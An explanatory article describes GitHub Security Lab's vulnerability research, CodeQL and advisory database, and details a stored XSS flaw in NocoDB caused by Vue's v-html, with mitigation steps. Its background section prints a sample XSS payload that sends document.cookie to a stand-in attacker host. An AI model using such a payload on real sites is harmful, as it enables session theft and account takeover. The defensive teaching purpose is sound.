More than 1,000 project maintainers rely on GitHub Security Lab, the collaborative program that has credited its researchers with 1,209 discovered vulnerabilities and 903 CVEs to date. The Lab pairs hands-on vulnerability research with free tooling such as CodeQL and a curated advisory database of more than 26,000 entries. This piece breaks down how the program operates and digs into one of its recent disclosures — a stored XSS flaw in NocoDB tracked as CVE-2026-28397.
What the Security Lab actually does
GitHub Security Lab frames open source security as a shared problem rather than the work of a single closed team. Instead of publishing the occasional advisory from behind a wall, it operates as a community: maintainers, independent researchers, and GitHub's own staff contribute findings, tooling, and disclosures that flow downstream to everyone who depends on the affected code. The Lab claims a maintainer can get a project protected in as little as 15 minutes.
The research output is concrete, not academic. The team takes credit for:
- 1,209 vulnerabilities discovered by Security Lab researchers
- 903 CVEs credited to that work
Every report follows coordinated (responsible) disclosure, giving maintainers a window to ship a fix before details go public and before attackers can weaponize the bug.
Recent disclosures
A sample of recently published findings shows the range of software and bug classes the Lab touches:
- Signal — unauthorized exfiltration of decrypted attachments via Intent redirection (
GHSL-2026-102) - NocoDB — stored XSS leading to potential account takeover (
CVE-2026-28397) and unauthorized script execution (CVE-2026-28401) - Sentry — privilege escalation letting unauthorized users delete events (
GHSL-2025-120) - PraisonAI — code injection through a GitHub Actions workflow (
GHSL-2025-093)
Spotlight: stored XSS in NocoDB (CVE-2026-28397)
NocoDB turns a database into a spreadsheet-style interface. According to the GitHub Security Lab advisory GHSL-2026-031 and the NVD entry for CVE-2026-28397, versions prior to 0.301.3 rendered comments through Vue's v-html directive. Binding untrusted input with v-html inserts it into the DOM as raw markup rather than escaping it, so an attacker-supplied comment containing HTML or script is parsed and executed in the browser of any user who views it.
Because the payload is persisted with the comment and later served back to other users, this is a stored cross-site scripting flaw — the most dangerous XSS variant, since it needs no per-victim interaction beyond visiting the page where the comment renders. GitHub rated it moderate severity. The same disclosure thread also covers unauthorized script execution tracked as CVE-2026-28401. The GitHub-reviewed advisory is published as GHSA-rcph-x7mj-54mm.
Why v-html is the root cause
In Vue, the normal {{ mustache }} interpolation and v-bind escape their content. The v-html directive deliberately does not — it sets innerHTML directly. A simplified illustration of the unsafe pattern:
<!-- Unsafe: renders raw markup from user input -->
<div v-html="comment.body"></div>
If comment.body contains something like , the browser runs the onerror handler in the victim's session. The fix is to stop trusting comment content as HTML — either render it as plain text or sanitize it before binding.
Mitigation
- Upgrade NocoDB to 0.301.3 or later, the first release that addresses CVE-2026-28397.
- Where user-generated content must be rendered as HTML, sanitize it first (for example with a library like DOMPurify) instead of binding it straight to
v-html. - Prefer text interpolation for any field that does not legitimately need markup.
CodeQL and the Wall of Fame
A core piece of the Lab's toolchain is CodeQL, GitHub's semantic analysis engine that lets you query source code as though it were data. That model makes it possible to hunt for whole classes of bugs across very large codebases — and, via variant analysis, to take one known vulnerability and find every other place the same pattern occurs.
The Lab runs a CodeQL Wall of Fame to credit community members who use variant analysis to uncover vulnerabilities in open source projects, giving individual researchers visibility for their work and encouraging wider participation.
The GitHub Advisory Database
CVE records alone are often thin. The GitHub Advisory Database enriches them with remediation guidance, additional context, and structured, machine-readable metadata. Curated by Security Lab researchers and contributors worldwide, it currently holds:
- 26,000+ security advisories
- 10,000+ CVEs assigned for open source maintainers
For security vendors and enterprise teams, that database is a high-quality feed that plugs directly into software composition analysis (SCA) and dependency-scanning pipelines.
Free resources and enterprise impact
The Lab targets the reality that many maintainers are solo developers or small teams with no security budget. It offers secure-coding guides aimed at open source developers, hands-on AppSec training, and office hours with security experts at no cost to open source maintainers and researchers.
That community work feeds directly into supply-chain security for organizations. Because open source components underpin nearly every enterprise application, upstream vulnerabilities are direct supply-chain risk. GitHub Security Lab for the Enterprise repackages proven CodeQL queries, timely advisories, and curated vulnerability intelligence so teams can stay ahead of upstream bugs, fold automated checks into the development lifecycle, and lean on community findings that experienced researchers have already vetted.
Technical background: stored XSS
Stored (persistent) cross-site scripting occurs when an application saves attacker-controlled input — a comment, profile field, or filename — and later serves it back to other users without escaping or sanitizing it. When that data is injected into the page as live markup, the browser cannot tell the difference between the application's own scripts and the attacker's, so the payload runs with the victim's session and permissions.
A generic test payload for a vulnerable comment field looks like:
<img src=x onerror="fetch('https://attacker.example/c?'+document.cookie)">
The two durable defenses are output encoding (render user content as text, not HTML) and sanitization (strip dangerous tags and attributes before rendering). Framework directives that write raw HTML — v-html in Vue, dangerouslySetInnerHTML in React, [innerHTML] in Angular — bypass the framework's built-in escaping and should only ever receive content that has already been sanitized.